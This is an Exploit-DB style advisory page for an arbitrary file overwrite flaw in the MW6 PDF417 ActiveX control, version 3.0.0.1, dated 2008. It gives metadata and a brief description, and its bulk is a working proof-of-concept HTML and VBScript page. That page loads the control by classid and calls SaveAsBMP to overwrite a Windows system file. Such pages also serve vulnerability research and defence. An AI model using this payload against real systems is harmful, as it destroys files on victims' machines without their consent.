PDF417 ActiveX

vendor:

PDF417

by:

Dr.Pantagon

7.5

CVSS

HIGH

Arbitrary File Overwrite

264

CWE

Product Name: PDF417

Affected Version From: 3.0.0.1

Affected Version To: 3.0.0.1

Patch Exists: YES

Related CWE: N/A

CPE: a:mw6_technologies:pdf417

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Professional SP2

2008

The PDF417 ActiveX control contains two methods SaveAsBMP() and SaveAsWMF(). Both of these methods can be used to overwrite arbitrary files on the system. The attacker can specify the file name and the location of the file to be overwritten. This vulnerability affects all products of MW6 Technologies, Inc.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

ï»¿<!--
By Dr.Pantagon
DeltaSecurityCenter
www.DeltaSecurity.ir
Description : PDF417 ActiveX
ver : 3.0.0.1
CopyRight : MW6 Technologies, Inc. 
Download Link :http://www.mw6tech.com/pdf417/try/MW6PDF417.zip

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 
This control contains two methods SaveAsBMP(); And SaveAsWMF();

Sub SaveAsWMF (
 	ByVal FileName  As String 
)

AND

Sub SaveAsWMF (
 	ByVal FileName  As String 
)
you can see this problem to all product this company
-->
<html>
Test Exploit page
<object classid='clsid:90D2A875-5024-4CCD-80AA-C8A353DB2B45' id='target' >
	<param name="BackColor" value="16777215">
	<param name="BarColor" value="0">
	<param name="BorderStyle" value="0">
	<param name="Data" value="12">
	<param name="ModuleWidth" value="0,07">
	<param name="Orientation" value="0">
	<param name="SecurityLevel" value="2">
	<param name="PDFMode" value="0">
	<param name="PDFColumns" value="3">
	<param name="PDFRows" value="0">
	<param name="TruncateSymbol" value="0">
	<param name="HandleTilde" value="0">
	<param name="Y2XRatio" value="3">
</object>
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\MW6PDF417.dll"
prototype  = "Sub SaveAsBMP ( ByVal FileName As String )"
memberName = "SaveAsBMP"
progid     = "MW6PDF417Lib.PDF417"
argCount   = 1

arg1="c:\windows\system_.ini"

target.SaveAsBMP arg1 
'target.SaveAsWMF arg1

</script>

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